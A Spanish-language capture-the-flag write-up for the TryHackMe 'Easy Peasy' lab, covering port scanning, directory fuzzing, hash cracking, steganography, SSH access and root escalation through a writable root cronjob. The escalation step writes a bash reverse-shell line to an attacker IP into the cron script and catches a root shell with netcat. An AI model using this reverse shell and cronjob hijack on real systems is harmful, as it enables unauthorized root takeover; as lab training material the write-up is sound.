TryHackMe - Easy Peasy
Puede que no sea el más fácil y la marca de 45 minutos es muy optimista
Introducción
Practica el uso de herramientas como Nmap y GoBuster para localizar un directorio oculto y obtener acceso inicial a una máquina vulnerable. Luego, aumenta tus privilegios a través de un cronjob vulnerable.
Calificar este desafío como Easy es razonable, pero no lo lograría en 45 minutos como dice el desafío. Pero vayamos al grano.
Tarea 1
Nmap
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -T4 -n -sC -sV -Pn -p- 10.10.61.9
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Welcome to nginx!
6498/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
| 256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_ 256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open http Apache httpd 2.4.43 ((Ubuntu))
|_http-server-header: Apache/2.4.43 (Ubuntu)
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Pregunta: ¿Cuántos puertos están abiertos?
Respuesta:
1
3
Pregunta: ¿Cuál es la versión de nginx?
Respuesta:
1
1.16.1
Pregunta: ¿Qué se está ejecutando en el puerto más alto?
Respuesta:
1
Apache
Tarea 2
Bandera 1
Se supone que debemos usar GoBuster
para esto, pero creo que ffuf
funcionará bien.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.61.9/FUZZ" -fl 124
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.61.9/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 124
________________________________________________
[Status: 200, Size: 612, Words: 79, Lines: 26, Duration: 42ms]
hidden [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 43ms]
index.html [Status: 200, Size: 612, Words: 79, Lines: 26, Duration: 42ms]
robots.txt [Status: 200, Size: 43, Words: 3, Lines: 4, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 943 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Revisemos también la carpeta hidden
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.61.9/hidden/FUZZ" -fl 124
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.61.9/hidden/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 124
________________________________________________
[Status: 200, Size: 390, Words: 47, Lines: 19, Duration: 42ms]
index.html [Status: 200, Size: 390, Words: 47, Lines: 19, Duration: 42ms]
whatever [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 952 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Visitemos http://10.10.61.9/hidden/whatever
En el código fuente podemos ver algunas cadenas
Vamos a decodificarlo usando CyberChef
Respuesta:
1
flag{CENSORED}
Bandera 2
Después de investigar un poco, encontré otra cadena que parece un hash
Después de intentar descifrarlo a través de john o crackstation, finalmente logré encontrar un sitio web https://md5hashing.net/
Respuesta:
1
flag{CENSORED}
Bandera 3
Para ser honesto, encontré la bandera 3 como la primera bandera desde que visité 10.10.61.9:65524
después de visitar 10.10.61.9:80
para verificar qué había allí :D
Respuesta:
1
flag{CENSORED}
Podemos encontrar el nombre del directorio oculto en el sitio web predeterminado de Apache en el código fuente codificado a través de base62
Pregunta: ¿Qué es el directorio oculto?
Obtenemos una respuesta
1
/n0<CENSORED>
Después de visitarlo, podemos ver otra cuerda.
Para descifrarlo, usaremos john
y el tipo de hash que seleccionaremos será GOST
- Escriba el hash en un archivo
- Ejecute
john
con el algoritmoGOST
y seleccione nuestro archivo de lista de palabras descargado de esta sala
1
2
3
4
5
6
7
8
9
10
$ echo '940d<CENSORED>' > hash.txt
$ john --format=GOST hash.txt --wordlist=list.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gost, GOST R 34.11-94 [64/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mypass<CENSORED>b (?)
1g 0:00:00:00 DONE (2025-02-22 00:01) 100.0g/s 409600p/s 409600c/s 409600C/s mypasswordforthatjob..flash88
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Pregunta: Utilizando la lista de palabras que se le proporcionó en esta tarea, descifre el hash. ¿Cuál es la contraseña?
Respuesta:
1
mypass<CENSORED>b
Para encontrar el login al ssh haremos lo siguiente
- Descargar la imagen del sitio web oculto
- Usar
steghide
para obtener cualquier información oculta mediante esteganografía
Ahora hacemos un cat
del archivo y vemos el nombre de usuario
y la contraseña en binario, por lo que debemos convertirlo a texto.
Ahora podemos iniciar sesión a través de ssh que se ejecuta en el puerto 6498/tcp
en esta máquina
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ ssh <CENSORED>@10.10.61.9 -p 6498
The authenticity of host '[10.10.61.9]:6498 ([10.10.61.9]:6498)' can't be established.
ED25519 key fingerprint is SHA256:6XHUSqR7Smm/Z9qPOQEMkXuhmxFm+McHTLbLqKoNL/Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.61.9]:6498' (ED25519) to the list of known hosts.
*************************************************************************
** This connection are monitored by government offical **
** Please disconnect if you are not authorized **
** A lawsuit will be filed against you if the law is not followed **
*************************************************************************
<CENSORED>@10.10.61.9's password:
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
<CENSORED>@kral4-PC:~$
Bandera de usuario
Y podemos obtener la bandera del usuario
1
2
3
4
<CENSORED>@kral4-PC:~$ cat user.txt
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}
<CENSORED>@kral4-PC:~$
vía rot13
Bandera Root
Podemos ver los cronjobs en /etc/cronjobs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<CENSORED>@kral4-PC:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh
<CENSORED>@kral4-PC:/$ cat /var/www/.mysecretcronjob.sh
#!/bin/bash
# i will run as root
<CENSORED>@kral4-PC:/$
Y parece que tenemos permisos de escritura
1
2
-rwxr-xr-x 1 <CENSORED> <CENSORED> 33 Jun 14 2020 .mysecretcronjob.sh
<CENSORED>@kral4-PC:/var/www$
Ahora vamos a agregar el shell inverso al archivo
1
2
$ nano .mysecretcronjob.sh
bash -i >& /dev/tcp/10.11.75.122/1337 0>&1
Y ahora inicie el oyente localmente y espere a que se ejecute el cronjob
1
2
3
4
5
6
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.61.9] 38590
bash: cannot set terminal process group (1716): Inappropriate ioctl for device
bash: no job control in this shell
root@kral4-PC:/var/www#
1
2
3
4
5
6
7
8
9
10
11
12
root@kral4-PC:~# ls -la
ls -la
total 40
drwx------ 5 root root 4096 Jun 15 2020 .
drwxr-xr-x 23 root root 4096 Jun 15 2020 ..
-rw------- 1 root root 2 Feb 21 15:33 .bash_history
-rw-r--r-- 1 root root 3136 Jun 15 2020 .bashrc
drwx------ 2 root root 4096 Jun 13 2020 .cache
drwx------ 3 root root 4096 Jun 13 2020 .gnupg
drwxr-xr-x 3 root root 4096 Jun 13 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 39 Jun 15 2020 .root.txt
Y nosotros hemos terminado